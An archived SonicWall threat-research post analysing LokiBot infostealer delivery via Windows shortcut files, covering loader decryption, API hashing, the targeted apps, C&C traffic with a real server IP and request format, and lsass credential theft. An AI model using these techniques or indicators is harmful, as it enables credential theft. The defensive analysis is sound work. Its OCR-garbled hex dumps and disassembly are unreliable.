https://blog.sonicwall.com /en-us/2024 /03 /lokibot-is-being-distributed-by-windows-shortcut-files /

LokiBot is Being Distributed by Windows Shortcut Files
Published: 2024-03-13 - Archived: 2026-04-05 18:01:21 UTC

Overview

The SonicWall RTDMI ™ engine has recently detected Windows Shortcut Files (LNKs) inside archives that
execute LokiBot malware on the victim’s machine. The malicious LNK file is packed inside an archive along with
a text file that says, “Find attached March Order” in Spanish, essentially pretending to be a legitimate file. The
LNK file executes a PowerShell script to download and execute the LokiBot loader executable from a URL.
LokiBot malware has been observed using image steganography, multi-layered packing and Living Off the Land
(LOTL) techniques in past campaigns. The malware authors' trend of using a low-profile file type as an initial
vector keeps increasing, and they prefer the use of custom packers and protectors to prevent detection rather than

updating the core executable code.
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Figure 1: LNK file executing PowerShell to download LokiBot

Loader Executable

The downloaded executable is protected in two layers by the Confuser application to make the analysis difficult
for the reversing engineers. After unpacking and de-obfuscating both of the layers, the actual code that is
responsible for loading and executing the LokiBot executable is exposed. The LokiBot binary is kept RSA-

encrypted and Base64-encoded in the resource of the loader executable, which is only visible after unpacking.
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000000ED | 23 BE 28 E9 00 00 00 00 D3 00 00 00 12 65 00 BE (e .. .0 . 0e.n
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00000130 | 71 37 4E 46 56 78 4F 6F 47 6B 4C 54 53 51 4E 56 | g?NFV=OoGRLISONY
00000140 | 57 75 6B 64 76 71 75 7A 52 56 63 54 71 42 70 43 WukjvquzR¥eTgBpC
00000150 | 32 55 6B 44 56 56 72 70 49 37 36 72 73 30 56 S8 2ULDVVrpI 76r=0VE
00000160 | 45 36 67 &1 51 74 6C 44 41 31 56 61 37 63 44 75 EtgaQtlJalVaicDu
00000170 ) 39 41 30 51 37 4B 6E 57 72 6B 63 50 54 74 EE 5a SA007EnNrkcPTtkZ
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DODO01FOD | 65 64 2F 76 74 6F 76 34 4A 42 71 69 6A 71 4C 49 ed viovdJCqgijgll
00000200 | 4E 36 47 6C 51 54 37 45 2F 52 39 7% 6D 48 73 77 HEG1OQZ7E-/R%umHs=w
00000210 | 4C 74 55 48 39 32 70 39 75 37 38 71 44 79 78 4B LtUH32p9u78gDy=K
00000220 | 47 47 4F 34 65 52 46 78 67 39 70 79 70 72 6A 4E | GGOdeRFxg%pypriN
00000230 | 32 61 ¥5 55 58 &4 35 57 57 72 35 4E 44 59 38 59 2aulUE3SWUrSNDYBY
00000240 | 31 77 53 32 64 47 6D 54 51 67 EE 63 32 68 4E 76 lwS2dCmTQgne2hNY
00000250 | 55 4B 6E 74 6E 67 50 56 2B 37 50 35 4E 4D 74 44 | UKntngPV+7PSNHzJ

Figure 2: Encrypted LokiBot executable in the resource of loader executable

To get the RSA key, the malware computes MD5 of the string “UV?vgotlHR?P\Y?LEhgU]CdJIS?W;yBTkDZw??
FTEi>Z” and self-concatenates the MD5 value by overwriting the last byte of the MD5. After doing Base64

decoding, the malware decrypts the encrypted executable data using an RSA algorithm with the below parameters:

Initial Vector 80 1E 8D 99 B9 3A 9F D2 DA 12 DD OB 24 D2 6E B1

Key : 1FC79C09 21 SESE A8520B 8C2A CA92ED 1F C7 9C 09 21 5E 5E A8 52 0B 8C
2ACA92EDSD 00

Key Size : 256

Mode : ECB

Padding : PKCS7,

Figure 3: Parameters
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Figure 4: Code performing RSA decryption

The decrypted bytes are the string representation of the executable’s hex bytes, and a string-to-hex conversion is
performed to finally get the LokiBot executable. The malware executes the LokiBot binary using the
CreateProcessW API.

Difset D 1 2 3 4 5 & 7 B 3 4 B C b E F Ascii

00000000 | 34 44 35 41 39 30 30 30 30 33 30 30 30 30 30 30 4D5A900003000000
00000010 | 30 34 30 30 30 30 30 30 46 46 46 46 30 30 30 30 04000000FFFFOOOO
00000020 | 42 38 20 30 30 20 30 30 30 30 30 30 30 30 30 30 BaoooooooO0ooo0
00000030 | 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 d000000000000000
Q0000040 | 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 Qooooooooooooooo
00000050 | 30 30 30 30 30 30 30 20 30 30 30 30 30 20 30 30 gooooooooooooooo
Q0000060 | 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 Qoooooooo0ooo0on
00000070 | 30 30 30 30 30 30 30 30 46 30 30 30 30 30 30 30 Qo000000F0000000
Q0000080 | 30 45 31 46 42 41 30 45 30 30 42 34 30 39 43 44 QE1FBAOEOOE409CD
00000090 | 32 31 42 33 30 31 34 43 43 44 32 31 35 34 36 38 21B8014CCD215468
00000040 | 36 39 37 33 32 30 37 30 37 32 36 46 36 37 37 32 697320707 26F6772
Q0000080 | 36 31 36 44 32 30 36 33 36 31 36 45 36 45 36 46 6160206361 6E6ERF
000000C0 | 37 34 32 30 36 322 36 35 32 30 37 32 37 35 36 4G 742062652072756E
Q00000Da | 32 30 36 39 36 45 32 30 34 34 34 46 35 33 32 30 20696E20444F5320
000000ED | 36 44 36 46 36 34 36 35 32 45 30 44 30 44 30 41 EDEFE4652E0DOD0 A
Q00000F0 | 32 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 2400000000000000
(0000100 | 42 43 42 44 37 28 45 45 32 38 41 43 31 326 41 44 CCCD78FESBACIEAD

Figure 5: LokiBot binary string representation

LokiBot
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LokiBot is an information stealer that has been active in the wild since 2015. It contains a rich list of applications
that are used to steal data from the victim’s machine. After sending data to its C&C server, the malware receives

commands to perform various actions on the victim’s machine.

Delayed Execution

The execution of LokiBot starts by examining the argument value for space-separated “-u” occurrences. The

malware execution has been delayed by 10000 milliseconds for each occurrence of the value “-u”.

prem—an —

push eax 3 pNumirgs
call GetCommandLine

push eax ; lpCmdLine
call CommandLineToArguhl

nor esi, esi

mov edi, eax

pop ecx

P-DFI BeCx

cmp [ebptphumargs], esi

jle short loc_413A26

J

il s 521

loc 413A82:

push cffset al ;
push dword ptr [editesi®4] ; pszFirst
call Strstr

pop BCx
pop ecx
test eax, eax
jz short loc_413A28
L* [
pus 2718h ; dwMilliseconds
call Sleep
pop ecx
o
e
loc_413A28:
inc esi
cmp esi, [ebp+pNumirgs]
jl short loc_413482
J 1
-

Figure 6: Checks process arguments

API Name Hashing

The malware uses API name hashing and resolves addresses just before invoking the APIs. To make the analysis
difficult, the malware does not store the resolved API addresses, instead it loads and executes the API address
from the accumulator register. If the malware needs to execute the same API more than once, it needs to resolve

the API address again to invoke the API.

Hashing Algorithm
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Code representation for the hashing module is in the C language and can be seen below. It generates a DWORD

hash for the given array of bytes.

JDWORD ComputeHash(BYTE* pVWalue, int ilength)

DWORD dwHash;
int iIterations = B; // eax

dwHash = -1;

for (int i = 6; i = ilength; it++)

i

! dwHash = dwHash * pValue[i];

| ilterations = §;

: for (int j = @; j < ilterations; j++)
5O

1 if (8 != (dwHash & 1))

i : 1

: . i dwHash = dwHash ™ BxU4358AD54Uu;
I

i dwHash = dwHash == 1;

; }

i

dwHash = ~dwHash;
return dwHash;

Figure 7: Hashing algorithm
Getting the Load Addresses of DLLs

An array of DLL names with a fixed length of 0x1A for each name is created by the malware. To resolve an API
address, the malware calls a function with the index of the DLL names array and API name hash. The name of the
DLL is retrieved from the DLL names array using the index value. The malware invokes the LoadLibraryW API to
get the load address of the DLL, except for the kernel32 and ntdll DLLs. The malware considers kernel32 and
ntdll to be already loaded into the memory and does PEB traversal to find the load address. It does this by

comparing the DLL name hash with the loaded module name hashes.

4 2 sModuleMames O 0000007f6451F730 {Cec000000TFE451F730 "kernel32”, 0x0000007f645174a "ntdll... char[x0000000F][C 00000012

b &2 [0 00000000 O D000007FR451F730 "kernel32" O View = char[0x00000012]
o &2 [0x00D00001] (e D000D0TIR431f74a "ntdIl” O View = char[0x00000013a]
b 2 [0x00000002] O D000D07R451F764 “shiwapi” O View = char[0x0000001a]
b £ [0x00000003] 000000764517 7e "CRYPT32" Q View = char[0x0000001a]
b 2 [Ox00000004] O D000D0TEB451F798 "WININET Q1 View = char[0x0000001a]
b &2 (000000005 O 0000007f6451F7b2 "urlmon” O View = char[0x0000001a]
¢ &2 [Ox0000DDDG] G 000000764517 cc "NETAPIZ2" O View = char[0x0000001a]
b &2 [0x00000007] O D000007fe451F7eb "WS2_32" O View = char[0x0000001a]
b &2 [0x00000008] O D000D0TFR451f300 "user32” O View = char[0x00000013a]
2 [0x00DD000Y] e D000D0TR451f81a "ADVAPI32" O View = char[0x0000001a]
b £ [0x0000000a] CxQ000007FE451f834 "SHELL3Z" Q View = char[0x00000012a]
b &2 [(0000000b] O 0D00007fR451f84e "gdiplus” Q1 View = char[0x0000001a]
b &2 [Ox0000000C] Ox000000764517268 "gdi32" Q1 View = char[(x0000001a]
¢ &2 [0x0000000] O 000000764511282 "ole32" O View = char[0x0000001a]
b 2 [0x0000000E] (0000007045189 "gdi32" O View = char[0x00000012a]

Page 5 of 18



https://blog.sonicwall.com /en-us/2024 /03 /lokibot-is-being-distributed-by-windows-shortcut-files/

Figure 8: Array of DLL names

I.I'Llr_l EUR
jz short loc_483097 l
7t
¥
=
dec eax
jz short loc_ 483890
J 1
v —
= =
loc_4a@389@; ; For 1] |loc_4@3897: ; For @
push BEFD4F@33h push BF96AFSCEh
jmp short loc_48389C
1
bl = =
imul eax, ecx, 1Ah
lea ecx, [ebptvar_188] loc_49309C:
add €ax, ecx call GetModuleloadAddressUsingHash
push eax ; lpLibFileMName
call LoadLibraryw
pop ecx
jmp short loc_4838A1
L
b L

Figure 9: Gets DLL load address
Resolving APIs Addresses

After getting the DLL load address either by calling the LoadLibraryW API or by PEB traversal, the malware
enumerates the export directory of the loaded DLL and compares the requested API name hash with the exported

API name hash to resolve the API address.
Single Instance Execution

The malware retrieves the MachineGUID from the registry entry
“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography” to compute its MD5 string representation
to the 12t byte, which is used as a mutex name. The malware attempts to create the mutex and examines the error
value ERROR_ALREADY_EXISTS to terminate the current execution and ensure a single execution of the
malware process. The mutex value for my system is “06E1A66DB87D112F02F38F7C” and is expected to always
be the same for a given system. It is later sent to the Command and Control (C&C) server. The mutex name can
help the malware author identify whether a system is reinfected or has been infected for the first time. Some of the

character sequences of the mutex name are used by the malware as dropped file names and a directory name.
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e ——

.text:8841396D push ebx
Jtext:8841396E call GetProcAddressUsingModuleIndexAndProcHashiWrapper

Ltext:08413973 lea ecx, [ebp+var_14]
Ltext: 88413976 push ecx ; wWersionRequested
Ltext:08413977 call eax ; LoadLibrarayW ole32.dll

.text:00413979 call wsastartup_g
Jtext:0041397E test eax; eax
Ltext:88413980 jz short loc_413903

=

-text:00413982 call GetMutexName .text:88413961 pop ecx-

.text:80413987 push ebx

-text:090413988 push ebx

.text:00413989 push BCF1670F4h

.text:8841398E push ebx

. text:0041398F mov esi, eax

-text:80413991 call GetProcAddressUsingtodul eIndexAndProcHashlirapper
Ltext:@8413996 push esi

text:90413997 xor esi, esi
.text:00413999 inc esi |esi=debug®57:MutexName
-text: 88413994 push esi  MutexName:
.text: 88413996 push ebx text "UTF-16LE", '@6ELAGGDBE7D112FB2F38F7C",9
.text:0841399C call eax ; CreateMutexid
Ltext:8941399E call ds:GetLastError
-text:004139A4 cmp eax, 8E7h ; ERROR_ALREADY_EXISTS
-text:884139A9 jnz short loc_413982
¥ L J
=
413948 push ebx ; uExitCode et 88413982
4139AC call ExitProcess_@ .text:88413982 loc_413982:
Jtext:89413982 call StealAndC2Communication

Figure 10: Creates mutex using machine GUID

If the malware fails to get the mutex name using MachineGUID, then it executes its backup code to compute a

random mutex name using the system time.
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ikl i =
Jtext: 88413097
Ttext:@a413097
Jtext:@as13097
TLext: 08413097 GetMutexiName proc near

Jheat i 82413097 mov eax, MutexName
STdext:ead41309C test eax, eax
Jtext:@841309E jnz short locret_413DB6

| '
=

text: 88413088 call GetMDSofMachinGUID
LLext:08413DA5 test eax, eax
Ltext:88413DA7 jnz short loc_413DB1

L* |

Ltext: 88413049 push 8ah
Ltext: 98413048 call GetRandomtutexiame

.text:88413DB8 pop BeCcx
‘9
Jtext: 88413081

.text:90413081 loc_413DB1: ; Saves Mutex name
Jtext: 88413081 mov MutexName, eax

-text: 80413086

Ltext: 88413086 locret_413086:
-text:88413D86 retn
Jtext:88413086 GetMutexName endp
-text: 8413086

Figure 11: Code to create an alternative random mutex
Stealing Application Data

The malware steals data from installed applications like browsers, SSH clients, document applications, password
managers, email clients and FTP clients The data it steals includes login credentials, autofill web forms, document
texts and more. The malware contains a total of 101 functions to steal data from the installed applications. The
malware initializes the array of function pointers with the address of stealing functions and initializes another
array with the respective argument values for the stealing functions. The malware invokes the stealing functions in
a loop. It invokes them from the array of function pointers with the respective argument from the arguments array.

The stealer functions keep the stolen data in a structured buffer along with their sizes.
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mov [ebptvar_3C], offset Outlook

mov [ebptvar_38], offset yMail

mov [ebptvar_34], offset trojita

mov [ebptvar_38], offset TrulyMail
mov [ebptvar_2C], offset WordPerfect
mow [ebpe#var_ 28], offset ToDoDeskList
Mo [ebptvar_24], offset Stickies
mov [ebptvar_2a], offset NoteFly

mov [ebptvar_1C], offset MNoterilla
mav [ebptvar_l18], offset StickyNotes
mow [ebptvar_14], offset KeePass
mov [ebpt+var_18], offset Enpass

oy [=bp+var_C], offset RoboForm
mov [ebp+var_&], offset OnePassword
mov [ebptvar_4], offset Winbex

ol =

o

loc_413746: ; Function Pointer
push [ebp+esi+var 194]

push [ebptesitvar_328] ; Arguments

call InvokesStealerFunction

add esi, 4

cmp esi, 194h

jb short loc_4137A6 ; Moduledddress

+_I

mav eax, StolenDataBuffer

push ebx 3 int

push edi ; int

push edi j int

push edi 3 LPVOID

push dword ptr [eax+8] ; int

push dword ptr [eax] ; int

call SendInfoandCompressedDatatol2andRece iveCommand

Figure 12: Calling stealing functions
Browsers

The malware contains a list of chromium-based browsers, gecko-based browsers and other browsers to steal the
stored data. For a gecko-based browser, malware reads the registry entry for the respective browser to get the
installation directory and sets the installation directory into the environment path variable to smoothly load the
nss3.dll which is used to decrypt the gecko-based browsers data. After decrypting the data, malware restores the
environment path variable. The malware reads the profiles.ini file from the browser dedicated application data
directory to get the list of profile directories. The malware enumerates each profile directory and uses multiple
APIs (NSS_Init, GetInternalKeySlot, Authenticate, Decrypt, FreeSlot, Freeltem, CheckUserPassword,
NSS_Shutdown) of nss3.dll, to decrypt data from the files mentioned below:

e logins.json
e prefs.js

e signons.sqlite
e signons.txt

e signons2.txt
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For chromium-based browsers, the malware steals data from the files “Web Data” and “Login Data” placing them
into respective application data folders for the browsers. For Edge and Internet Explorer, the malware steals data
from Windows Password Manager and registry entry “Software\Microsoft\Internet
Explorer\IntelliForms\Storage2”. The malware enumerates and retrieves credentials from the Windows Password
Manager using multiple APIs (VaultEnumerateVaults, VaultOpenVault. VaultEnumerateltems, VaultGetltem,
VaultFree, VaultCloseVault) of library vaultcli.dIl.

Chromium-based Gecko-based Others
Dragon Mozilla Firefox Safari
ChromePlus SeaMonkey Opera Next
Chrome Flock Opera Stable
Nichrome Black Hawk QtWeb
RockMelt Cyberfox QupZilla
Spark IceDragon Internet Explorer
Chromium K-Meleon Opera

Titan Browser Lunascape

Torch Pale Moon

YandexBrowser Waterfox

Epic Privacy Browser
CocCoc

Vivaldi

Chromodo

Superbird

Coowon

Mustang Browser
360Browser

Citrio

Chrome SxS

Orbitum
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Figure 13: List of browsers

Apart from the browsers, the malware steals data from other installed applications which include SSH clients, FTP

clients, email applications, document applications, password managers and more, which are mentioned in the table

below:

SuperPutty

KITTY

PuTTY

FTPShell

NppFTP
(Notepad++
plugin)

MyFTP

FTPBox
Sherrod FTP
MetSarang XFTP
FTP Now
EasyFTP

SFTP Met Drive

AbleFTP
lasFtp
Automize
Cyberduck
FullSync
FTPInfo
LinasFTP
FileZilla

Staff-FTP
BlazeFtp
Fastream NETFile
GoFTP

ALFTP

WS_FTP

ExpanDrive

Steed
FlashFxp
MovaFTP
MetDrive
SmartFTP
FarFTPPlugin
Bitvise 55H
Client

WNC software
Syncovery
FreshFTP
BitKinex
UltraFxpP

FTP Mow
SecureFX
Odin Secure
FTP Expert
Fling
ClassicFTP
WinFtp Client
WinsCP
32bit FTP

Figure 14: List of applications to steal data

C&C Communication

Mozilla WordPerfect  KeePass

Thunderbird To-Do

DeskList

Enpass

RoboForm
1Password

Stickies
MoteFly
Motezilla
Sticky MNotes

Foxmail
Pocomail
IncrediMail mSecure
GmailNotifierPro
CheckMail
SoftwarenetzMailing

Opera Mail

Posthox
FossaMail
Mailbox
Outlook
yMail
Trojita
TrulyMail

Pidgin

Full Tilt
Poker

WinChips
PokerStars

The malware has an array to contain four C&C server addresses, however, in current variants, only one of the

unique and valid C&C server addresses is found. After decrypting the C&C URL, the malware separates the IP

address, port number, path and protocol to establish a connection.
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Jtext:eed414286 call
Jtext: 98414288 add
text:@ed41428E mov
Jtext:ged41429]1 test
Jtext:eed414293 jz
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cax

i murypro

DecryptC2Address
esp, 1Ch
[ebp+lptem], eax
gax, eax

short

dd offset aHttp9192252146_@ ;

"http://91.

E:WMnemosyne\samples\LokiBot. bin.exe
O Ciwindows\SysWOWE\DNSAPL Al
Criwindows\SysWOWE4\TPHLPAPT.DLL
Ci{Windews\SysWOWE4\rasadhip.di

FEE

Stext:ea414295
textiBes14256
Stewt:eadl429b
-text:884142590
-text:@ed1429E
-text:8@414228

push
call
mov
pop
test
3z

eax
GetPorthumber
esi, eax

BCX

esi, esi

short loc_4142E9

\_+I

=

Jdext:

Lhext:
~Eext:
hext:

00414261 jz

88414242 push 8
s@A414284 push 2
188414246 call

tPA41424E mov ebx, eax
1@@84142AD pop ecx
B84142AE pop Bcx
B04142AF test ebx, ebx

short loc_4142E2

GetDecryptedString ; decrypts useragent

e =
Ltext: 884142683 push
text:80414286 lea
Jtext:@8414289 push
Stext:@041428C push
Ctext:@@414280 push
Jtewt:8041428E lea
Jtext:@84142C4 push
Ctewt:@84142C5 push
«text: 88414206
CJewt:eed41420E

call
add

[ebp+len]

eax, [esi+@ah]
[ebp+buf]

ebx

eax

eax, [esi+l8Eh]

esi
eax

C2Communication

esp, 18h

Figure 15: Code for C&C communication

len

Data Buffer
UserAgent
URL path

Port
IP

Ener: EqIsCers

C:YWindows\SysWOWs4\profapi.dl
C:Windows\SysWOWS4\wintypes.dll
C:YWindows\SysWows4\vaultdi.di
C:'¥Program Files (x86)\Mozilla Firefox\soft:
38| CrWindows\SysWoOWSs4\Widp.di
CriWindows\SysWOWS4\windows .storage
C: Windows\SysWOWS4\MSVCP 140l

[T Threads

Decimal Hex State Ma
B568 2178 Ready Lok

Oy| 7296  1CBO Ready Frrd

EAX BBEFED7E
EBX @@6F62B8
ECX @a00a008
EDX @800001E
ESI BBGFGCEB
EDI 8886888682
EBP @@19FB34
ESP @819F978

EIP @24142C6
EEI BOIGATIAE

[ 3 B B O A 5

"91.92.252.146"
"Mozilla/4.88 (Charon; Inferno)™

S——
Stack[@@ee2178]:8@19FE34

Stack[@@ee2l78]:@019F975
GetC2andCommunication+11F

The malware compresses the stolen application data using aPLib compression library and appends into the

structured buffer. The malware then prepares the HTTP post request with the user-agent “Mozilla/4.08 (Charon;

Inferno)” and sends the stolen data to the C&C server. After sending the HTTP post request, the malware keeps
the check sum of the data it sent into a file “C:\Users\Deepak\AppData\Roaming\DB87D1\112F02.hdb”. The
directory name is taken from the mutex name’s character offsets from seven to 12, and the file name is taken from

offsets 12 to 17.
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BEY | ebugos2:00740550 aPostWioyFiveFr db 'POST /wioy/five/fre.php HTTP/1.8°,80h,84h

debugB6? : B8748572 db ‘User-Agent: Mozilla/4.88 (Charon; Inferno)’,80h,@&in
dcquBEE;ﬂ{:?iiﬂ'S“:'lE db "Host: 91.92.252.146" ,00h,8Ah
debugdé2 : 88748583 db ‘Accept: */=',8Dh,8ah
debupgB&2 : BE748508 db 'Content-Type: application/octet-stream®,8Dh,BAh
debup@62 : 68748558 db ‘Content-Encoding: binary',@0h,@4h
debugB62: 8748682 db 'Content-Key: BS67B132',80h,84ah
debup@6?: G8748618 db 'Content-Length: 89@°',8Dh,8Ah
mrmoim 0074053E: debuglé2:0074053E (Synchronized with EID)
O] Hex view-1
Eﬂ?i?ﬁ:ﬂ _[Eva' '“ “ﬂ?“ lH’l’ll-gll-'l-!.!'lF-i'l
[Ba712038 00 80 63 6B 61 76 2E 72 75 61 B0 OC 00 PO B0 A4 | .ckav.ru...... "]
[2E712048 89 65 82 65 B2 79 88 61 42 6B 02 91 69 1E 68 B8 .e.e.p.a.k......
712650 90 44 90 45 B2 53 82 48 B0 54 60 4F 89 S8 88 20 .D.E.S5.K.T.0.P.-
Ba712e60 08 48 B0 51 B2 31 8@ 31 20 42 60 35 86 31 M8 81 . H.Q.1.1.H.5.1..
GA712076 08 1F 00 80 PO 44 80 45 B0 53 60 4B 80 54 89 4F ..... D.E.S.E.T.O
e 712800 06 50 90 2D 20 43 88 51 00 31 00 31 89 48 88 35 P, -.H.Q.1.1.H.5
jep712097 00 31 00 50 67 00 90 3B 04 02 B0 91 60 90 68 1 .1.....B........
BE712048 0O @A B0 00 B2 01 B2 6B OO0 00 0@ 91 B0 B0 00 B0 P
BeR7I2000 00 00 B0 28 51 90 B2 81 B0 30 60 62 B0 38 88 36 ...(Q....8...8.6
[BE7I26C8 00 45 00 31 00 41 92 36 O 3o 00 44 90 42 0@ 28 .E.1.A.6.6.D.8.8
[Be7120D08 88 37 82 44 B2 31 B2 31 82 32 B2 45 B8 38 @@ 32 .7.0.1.1.2.F.8.2
[Be7128E0 OO 456 90 33 PO 38 B0 456 OB 37 00 43 80 B> PO @ .F.3.8.F.7.C.
[Be7128Fe 98 79 74 58 65 45 AB B2 92 82 81 E1 48 1 BB D9 .ytPeE..........
jea712188 8% 18 36 13 68 83 74 38 @5 79 38 73 38 3A 22 2F ..6.h.t83.pBsB:"/
BE712118 7@ 61 44 63 6F ER@ 75 E@ 6E D9 31 2C 2E C1 67 BY palco...Me.y.nas
ee71212¢ 1D 67 @D 6C ©6 65 1C 89 1C 6D 91 79 34 33 74 70 .g.l.e...m.yd3t}
86712138 72 6F 2D 62 55 8B 2A 73 oC FS B3 49 38 31 83 38 ro-hU.®s..... 1.8
68712146 B3 40 33 6D 6D 25 69 46 78 3A CC 49 2D 6C 86 38 .@3emXifx:..-1.8
BG712158 24 77 24 59 6E 64 74 8D 53 4A 65 1A 9C 4D 1C 79 Sw*¥ndt.SJe. .M.y
2e7121608 15 56 15 73 9B A5 77 95 38 AB 64 29 1F B4 B6 83 .P.s..w.8.d)....
Be712178 32 (0 54 51 4C 69 74 65 93 20 66 6F 72 6D 61 C7 2..QLite.-forma.
pa712168 77 33 86 19 34 CF 36 48 3E 63 3D 64 38 89 85 52 wi..4..@.=.B..R
BE71219¢ @1 8A 82 14 63 81 C7 @1 098 57 30 60 2E 66 ER 1B ....h....Wo .f..

Figure 16: Stolen data sent to the C&C server

An explanation of values sent by the malware to the C&C server is mentioned in the table below:

Offset Size Field Description Value

00 2 Version 12

02 2 Information type 27

04 2 IsUnicodeFlag 0

06 4 Size of binary ID 07

10 7 BinaryID ckav.ru

17 2 IsUnicodeFlag 1

19 4 Size of username 12

23 12 Username Deepak (Unicode)
35 2 IsUnicodeFlag 01
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37

41

71

73

77

107

111

115

117

119

121

123

125

127

129

131

133

135

137

139

141

145

149

197

201

206

210

30

680

https://blog.sonicwall.com /en-us/2024 /03 /lokibot-is-being-distributed-by-windows-shortcut-files /

Size of computer name
Computer name
IsUnicodeFlag

Size of computer name
Computer name
Screen width

Screen height
IsUserAdmin

IsBuiltInAdministrator

PROCESSOR_ARCHITECTURE_AMD64

OS major version

OS minor version

Left over

Related to service pack version
IsFirstPacketSent

Word value 1

Word value 0

Word value 0

Word value 0

Size of stolen data
IsUnicodeFlag

Size of mutex name
Mutex name

Size of random string
Random string

Size of compressed data

Compressed data

Page 14 of 18

30
DESKTOP-HQ11H51 (unicode)
01

30
DESKTOP-HQ11H51 (unicode)
780
438
01

00

01

10

00

6B

01

00

00

00

00

00
20776
01

30

06E1A66DB87D112F02F38F7C

ytPeE
680

01 E148 01 B0 DS9...



https://blog.sonicwall.com /en-us/2024 /03 /lokibot-is-being-distributed-by-windows-shortcut-files/

Figure 17: Description of the data sent to the C&C

After sending the stolen application data, the malware checks to see if the process is running in administrator
mode to steal credentials stored in Windows Credential Manager. The malware enumerates files from the directory
“%AppData%\Roaming\Microsoft\Credentials” using the APIs FindFirstFileW and FindNextFileW to read the

encrypted data which is decrypted by accessing the process memory of Isass.exe.

Ltext:88418139 call IsPROCESS0OR _ARCHITECTURE AMDGS

Lexti0841813E test eax, eax
Stext: 08418148 jz short loc_41819F
P 1
s =
text 08418142 push 1FFFFFh
.text:08418147 push offset alsassExe ; "lsass.exe”
text:8841814C call sub_48485C
LJtext: 88418151 mov esi, eax
text:@8e418153 pop ecx
LJtext: 88418154 pop BCx
Jtext: 98418155 test esi, esi
Ltext: 88418157 §z loc_4181F4
I 1

{44,€901) (1€4,444) D0DDFS2€ 0041012€: sub_ 40FA224703 (Eynchronized with EIR)
fiew-1

E 61 060 02 B2 D@ BC 9D DF 81 15 D1 11 BC FA BB €A  ....K*..uuun. ¥
B AF C2 97 EBE 91 02 P2 9@ D1 AB CO FEE® 3A 4A 45 0.......%".....E
B B7 6F SC F9 A4 EB EG 67 00 00 82 20 3A 98 00 B8 .O\........*%.
B 45 00 6E 0@ 74 90 65 90 T2 00 7O 80 72 00 69 @@ E.n.t.e.r.p.r.d.
B 73 8@ 65 82 28 8@ E P8 72 BD 65 PR 64 BB 65 BA s.e.-.C.r.e.d.e.
P GE @@ 74 89 69 @@ 61 9@ o6C 89 20 09 44 99 61 #@ n.t.i.a.l.-.D.a
B 74 80 61 89 B0 B0 OA B0 0O B0 19 G5 B2 B8 80 Bl t.A........T..
B OB 23 20 00 92 o0 46 1D B5 5E £3 C4 Fe 71 A8 33 RO S .
B EC 73 66 2D BC 92 95 81 (B SA BB 90 B9 76 C1 7C . N
B @4 D1 56 BF 62 11 6O 92 OO 00 OC 30 €0 PO 20 B2 ....cvcvvamnnnnn
¢ 90 0@ 20 B3 BB 8O BA 1A 51 CF E2 65 AB 56 3E B4 ..+..... Q..a. V>
B B0 2085 7@ FE F4 83 3F 6B F4 1E A2 C3 48 17 BB .-.P-vvccvcc-s g..
B FF D9 2D EC 35 65 B2 89 02 8@ 28 EF 8D 73 &F D7 S ialluasna
B D& ES 3C IF 12 C4 EC 91 81 D7 35 34 D& 35 16 51 - . 4. ..0
B B2 70 BS 9A 35 DC Z3 64 E2 25 D3 93 38 F3 EZ BB .p..5..d....B...
B AF 9B 9C BA 29 F5 35 F1 33 BF 77 M@ 91 B6 BE D6 ...J).....w.

Figure 18: Encrypted credentials in Windows Credential Manager

Decrypted credentials are compressed using aPLib compression library and appended into the structured buffer

after malware variant-specific information and collected system information. It is then sent to the C&C server.

Page 15 of 18



Jext:edd13884
text:8841388F
et 88413816
Ldext: 88413811
Jtext:e8d13812
Stext: 08413813
Jtext: 88413816
Jtext 88413810
fewt 08413823

(=108, €83%)

https://blog.sonicwall.com /en-us/2024 /03 /lokibot-is-being-distributed-by-windows-shortcut-files/

mov
push
push
push
push
push
push
call
push
call

eax, PermanentStolenDataBuffer

ebx

edi

edi

edi

dword ptr [eax+d
dword ptr [eax]
SendInfoandCe

5
;

.
¥
;
1
s
:

PeﬁﬂanentStuieﬁDntiBuffer.; lpMem

HeapFree 1

int

int
int
LPYVOID
i int
int

(712,377} 00012Cle 00413818 StealhndCiComsunication+Bls (Synchroniz

w-1

79 00 00 B0 01 BR 90 B AE OO0 00 PO 30 B0 BB PO Y........... B...
AE 90 €0 02 00 B0 90 B0 01 00 00 90 00 PO BO B  ......ic0000e

F4 22 @1 37 58 75 DA 81 1E o0 B2 b2 83 B0 &0 Be coMUivannnaaan
08 00 02 80 OO B0 B2 00 00 90 B0 PO SE GO BB B0 ............ Faan
I8 o0 655 0 67 @@ 61 8@ G2 80 79 B2 47 8@ 65 8@ L.e.g.a.c.y.G.e.
GE @@ 65 82 72 o2 60 8@ 653 B0 3A 00 74 €0 61 @ n.e.r.i.c.:.t.a.
72 B8 67 0@ 65 B0 74 B@ 3D B2 67 B2 6D BO 61 B@ r.g.e.t.es.g.m.A.
69 @@ 6C o2 2E o@ 63 90 G6F OO 6D 00 00 90 00 8@ i.l...c.o.m.....
88 Bo B0 B0 OO B2 B0 B2 82 DO BE B B0 BO 64 PR  .......c000000 d.
65 9@ 65 0@ 79 6@ 61 @9 6B B0 00 PO 14 B0 B9 B® e.e.p.a.k.......
6D 88 79 8@ 7O 6@ 61 8@ V3 00 73 8@ 77 80 6F B0 wm.y.p.a.5.5.W.0.
72 00 64 88 79 62 00 60 01 60 00 00 CC 60 09 80 r.d.y.. et
33 90 00 B2 CC 60 B0 60 02 00 02 B0 01 B0 28 BO B........0c00040
86 09 92 80 1A 85 BD 18 99 6F DA 81 10 B0 &9 66 LT

Figure 19: Decrypted credential from Windows Credential Manager

The malware creates the file “%APPDATA%\Roaming\DB87D1\112F02.Ick” before attempting to decrypt

credentials from Windows Credential Manager and deletes the files once the decryption routine is completed.

<text:9048F9A9 mov
- text:@948FIAD xor
text:B@48FIAF mov
.text:0e48rI83 lea
.text:0048F986 push 1

.text:0048F9B8 push eax
.text:0040FI89 call
. text:B@48F9BE pop
.text:@848FIBF push
Jtext :OB40FICO lea
Ltext:@848FIC3 push
~text:0848F9C4 push
.text:0e40raCs call
~text:0B40FOCA add
.text:@40FICD call
-text:0048F9D2 test
-text: 09487904 jz

eax, eax

ecx
eax

eax
esi

esp, 18h

eax, eax

[ebptvar_4], ax

[ebp+var_2], ax
eax, [ebptvar_4]
CalculateLength

eax, [ebpivar_a]

CreateFileAndwrite
IsUserAdministratorsiocalGroup

short loc_49FA8C

¥

F906 push edi

